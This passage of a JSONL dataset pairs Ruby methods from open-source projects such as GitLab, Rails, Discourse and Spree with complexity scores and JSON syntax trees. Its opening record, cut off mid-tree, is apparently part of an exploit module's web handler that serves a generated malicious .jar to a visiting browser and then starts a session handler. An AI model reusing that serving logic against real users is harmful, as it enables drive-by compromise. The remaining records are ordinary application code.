redirect...\"]}]},{\"type\":\"send\",\"children\":[null,\"send_redirect\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_resource\"]}]},{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending HTML...\"]}]},{\"type\":\"send\",\"children\":[null,\"send_response_html\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"send\",\"children\":[null,\"generate_html\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"text/html\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending .jar file...\"]}]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"send\",\"children\":[null,\"generate_jar\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/java-archive\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"handler\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]}]}","id":"1685191f-ec50-4598-b254-5bae8ac8f10c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/rendered/notebook/diff_file_helper.rb","start_line":9,"raw_source":"def strip_diff_frontmatter(diff_content)\n            diff_content.scan(/.*\\n/)[2..]&.join('') if diff_content.present?\n          end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"strip_diff_frontmatter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"diff_content\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_content\"]},\"present?\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_content\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\".*\\\\n\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[2]},null]}]},\"join\",{\"type\":\"str\",\"children\":[\"\"]}]},null]}]}","id":"a8745ed6-fe4d-43c7-8fcf-e5bd62d06799"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/components/storages/project_storages/oauth_access_granted_modal_component.rb","start_line":36,"raw_source":"def title\n        I18n.t(\"storages.oauth_access_granted_modal.project_settings.access_granted_screen_reader\",\n               storage: storage.name)\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"title\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"storages.oauth_access_granted_modal.project_settings.access_granted_screen_reader\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"storage\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"storage\"]},\"name\"]}]}]}]}]}","id":"9976b62a-4ac6-4da1-a15c-215cceee71b4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/autocomplete_users_resolver.rb","start_line":28,"raw_source":"def group\n      object if object.is_a?(Group)\n    end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"group\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Group\"]}]},{\"type\":\"send\",\"children\":[null,\"object\"]},null]}]}","id":"e9a2ea2e-4eaa-4c26-a375-319a80bb8767"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/completions/prompt_messages_builder.rb","start_line":458,"raw_source":"def chat_array(limit:)\n        if @raw_messages.length > 1\n          buffer = [\n            +\"You are replying inside a Discourse chat channel. Here is a summary of the conversation so far:\\n{{{\",\n          ]\n\n          @raw_messages[0..-2].each do |message|\n            buffer << \"\\n\"\n\n            if message[:type] == :user\n              buffer << \"#{message[:id] || \"User\"}: \"\n            else\n              buffer << \"Bot: \"\n            end\n\n            buffer << message[:content]\n          end\n\n          buffer << \"\\n}}}\"\n          buffer << \"\\n\\n\"\n          buffer << \"Your instructions:\"\n          buffer << \"\\n\"\n        end\n\n        last_message = @raw_messages[-1]\n        buffer << \"#{last_message[:id] || \"User\"}: \"\n        buffer << last_message[:content]\n\n        buffer = compress_messages_buffer(buffer.flatten, max_uploads: MAX_CHAT_UPLOADS)\n\n        message = { type: :user, content: buffer }\n        [message]\n      end","complexity_score":41.7,"ast_json":"{\"type\":\"def\",\"children\":[\"chat_array\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"limit\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@raw_messages\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"buffer\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"You are replying inside a Discourse chat channel. Here is a summary of the conversation so far:\\n{{{\"]},\"+@\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@raw_messages\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[-2]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"str\",\"children\":[\"User\"]}]}]},{\"type\":\"str\",\"children\":[\": \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Bot: \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"content\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n}}}\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Your instructions:\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"last_message\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@raw_messages\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_message\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"str\",\"children\":[\"User\"]}]}]},{\"type\":\"str\",\"children\":[\": \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_message\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"content\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"buffer\",{\"type\":\"send\",\"children\":[null,\"compress_messages_buffer\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"flatten\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_uploads\"]},{\"type\":\"const\",\"children\":[null,\"MAX_CHAT_UPLOADS\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"lvar\",\"children\":[\"buffer\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}","id":"a16ac847-da33-4034-8296-b90b1e212851"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/config/configure_proxy.rb","start_line":356,"raw_source":"def config_section(name, **kwargs, &block)\n        unless block_given?\n          raise ArgumentError, \"#{name}: config_section requires block parameter\"\n        end\n        name = name.to_sym\n\n        sub_proxy = ConfigureProxy.new(name, type_lookup: @type_lookup, **kwargs)\n        sub_proxy.instance_exec(&block)\n\n        @params.delete(name)\n        @sections[name] = sub_proxy\n\n        name\n      end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"config_section\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"kwrestarg\",\"children\":[\"kwargs\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\": config_section requires block parameter\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_sym\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sub_proxy\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ConfigureProxy\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type_lookup\"]},{\"type\":\"ivar\",\"children\":[\"@type_lookup\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sub_proxy\"]},\"instance_exec\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sections\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"sub_proxy\"]}]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}","id":"06dae3e4-924c-4c9b-b034-317c701514da"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-active-context/lib/active_context/databases/postgresql/processor.rb","start_line":17,"raw_source":"def initialize(collection:, model:, user:)\n          @collection = collection\n          @model = model\n          @user = user\n          @base_relation = model.all\n        end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"collection\"]},{\"type\":\"kwarg\",\"children\":[\"model\"]},{\"type\":\"kwarg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@collection\",{\"type\":\"lvar\",\"children\":[\"collection\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@model\",{\"type\":\"lvar\",\"children\":[\"model\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@base_relation\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"all\"]}]}]}]}","id":"8493f642-0b03-448b-b1ff-ccacebdbbb47"}
{"repo_name":"warden","file_path":"./repos/warden/lib/warden/strategies/base.rb","start_line":79,"raw_source":"def headers(header = {})\n        @headers ||= {}\n        @headers.merge! header\n        @headers\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"headers\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"header\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@headers\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@headers\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"header\"]}]},{\"type\":\"ivar\",\"children\":[\"@headers\"]}]}]}","id":"e7bf5924-146b-4694-9b2a-e7f269bc5c51"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/values/time_zone.rb","start_line":528,"raw_source":"def today\n      tzinfo.now.to_date\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"today\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tzinfo\"]},\"now\"]},\"to_date\"]}]}","id":"d02d3dbe-1c97-46e5-80c4-1c70484fa6e2"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/lib/sinatra/base.rb","start_line":364,"raw_source":"def headers(hash = nil)\n      response.headers.merge! hash if hash\n      response.headers\n    end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"headers\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"hash\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"headers\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"hash\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"headers\"]}]}]}","id":"ad3a0847-b120-4fdc-8551-d6c2dbf612a6"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/helpers/spree/admin/stores_helper.rb","start_line":12,"raw_source":"def store_admin_icon(store, opts = {})\n        opts[:class] ||= 'rounded-sm bg-white border'\n        opts[:height] ||= DEFAULT_ICON_SIZE\n        opts[:width] ||= DEFAULT_ICON_SIZE\n\n        store ||= current_store\n\n        return unless store\n\n        Rails.cache.fetch([\"#{store.cache_key_with_version}/admin_icon\", opts.to_param]) do\n          if store.logo&.attached? && store.logo&.variable?\n            spree_image_tag(store.logo, class: opts[:class], width: opts[:width], height: opts[:height])\n          elsif store.favicon_image&.attached? && store.favicon_image&.variable?\n            spree_image_tag(store.favicon_image, class: opts[:class], width: opts[:width], height: opts[:height])\n          else\n            first_letter_icon(store.name, opts)\n          end\n        end\n      end","complexity_score":42.3,"ast_json":"{\"type\":\"def\",\"children\":[\"store_admin_icon\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"store\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"class\"]}]},{\"type\":\"str\",\"children\":[\"rounded-sm bg-white border\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"height\"]}]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_ICON_SIZE\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"width\"]}]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_ICON_SIZE\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"store\"]},{\"type\":\"send\",\"children\":[null,\"current_store\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"cache\"]},\"fetch\",{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},\"cache_key_with_version\"]}]},{\"type\":\"str\",\"children\":[\"/admin_icon\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"to_param\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},\"logo\"]},\"attached?\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},\"logo\"]},\"variable?\"]}]},{\"type\":\"send\",\"children\":[null,\"spree_image_tag\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},\"logo\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"class\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"width\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"width\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"height\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"height\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},\"favicon_image\"]},\"attached?\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},\"favicon_image\"]},\"variable?\"]}]},{\"type\":\"send\",\"children\":[null,\"spree_image_tag\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},\"favicon_image\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"class\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"width\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"width\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"height\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"height\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"first_letter_icon\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},\"name\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}]}]}]}","id":"8f31c0f4-2a28-44f2-b818-911052d3cef1"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/page.rb","start_line":51,"raw_source":"def visit!\n      raise \"No path defined\" unless path\n\n      visit(path)\n\n      wait_for_reload\n    end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"visit!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"path\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"No path defined\"]}]}]},{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[null,\"path\"]}]},{\"type\":\"send\",\"children\":[null,\"wait_for_reload\"]}]}]}","id":"6fcacc90-4e78-48c2-81bd-b00b9719f1fb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/note_presenter.rb","start_line":26,"raw_source":"def external_author\n    return unless object.note_metadata&.external_author\n\n    if can?(current_user, :read_external_emails, object)\n      object.note_metadata.external_author\n    else\n      Gitlab::Utils::Email.obfuscated_email(object.note_metadata.external_author, deform: true)\n    end\n  end","complexity_score":18.7,"ast_json":"{\"type\":\"def\",\"children\":[\"external_author\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"note_metadata\"]},\"external_author\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"read_external_emails\"]},{\"type\":\"send\",\"children\":[null,\"object\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"note_metadata\"]},\"external_author\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Utils\"]},\"Email\"]},\"obfuscated_email\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"note_metadata\"]},\"external_author\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deform\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"c0baa469-2cf9-4d22-b5ba-c8e3f2733924"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/rspec/parallel_formatter.rb","start_line":66,"raw_source":"def output_rerun_commands(summary)\n        output.puts '# RERUN BEGIN'\n        output.puts summary.colorized_rerun_commands.lines[3..].join\n        output.puts '# RERUN END'\n      end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"output_rerun_commands\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"summary\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output\"]},\"puts\",{\"type\":\"str\",\"children\":[\"# RERUN BEGIN\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output\"]},\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"summary\"]},\"colorized_rerun_commands\"]},\"lines\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[3]},null]}]},\"join\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output\"]},\"puts\",{\"type\":\"str\",\"children\":[\"# RERUN END\"]}]}]}]}","id":"abc823bb-972e-40aa-82c2-d7ae94864c53"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/email/receiver.rb","start_line":122,"raw_source":"def ensure_references_array(references)\n        case references\n        when Array\n          references\n        when String\n          # Handle emails from clients which append with commas,\n          # example clients are Microsoft exchange and iOS app\n          email_class.scan_fallback_references(references)\n        when nil\n          []\n        end\n      end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_references_array\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"references\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"references\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},{\"type\":\"lvar\",\"children\":[\"references\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"email_class\"]},\"scan_fallback_references\",{\"type\":\"lvar\",\"children\":[\"references\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"nil\",\"children\":[]},{\"type\":\"array\",\"children\":[]}]},null]}]}","id":"50a7302f-08da-4c0b-be40-21ce60ffebe8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/support/formatters/context_formatter.rb","start_line":18,"raw_source":"def example_group_started(example_group_notification)\n          set_skip_metadata(example_group_notification.group)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"example_group_started\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"example_group_notification\"]}]},{\"type\":\"send\",\"children\":[null,\"set_skip_metadata\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"example_group_notification\"]},\"group\"]}]}]}","id":"fbfe4a1b-1a72-4bfc-a508-915b45156e03"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/completions/endpoints/open_ai.rb","start_line":131,"raw_source":"def convert_payload_to_responses_api!(payload)\n          payload[:input] = payload.delete(:messages)\n          completion_tokens = payload.delete(:max_completion_tokens) || payload.delete(:max_tokens)\n          payload[:max_output_tokens] = completion_tokens if completion_tokens\n          # not supported in responses api\n          payload.delete(:stream_options)\n        end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"convert_payload_to_responses_api!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"input\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"messages\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"completion_tokens\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"max_completion_tokens\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"max_tokens\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"completion_tokens\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"max_output_tokens\"]},{\"type\":\"lvar\",\"children\":[\"completion_tokens\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"stream_options\"]}]}]}]}","id":"790cffdf-d2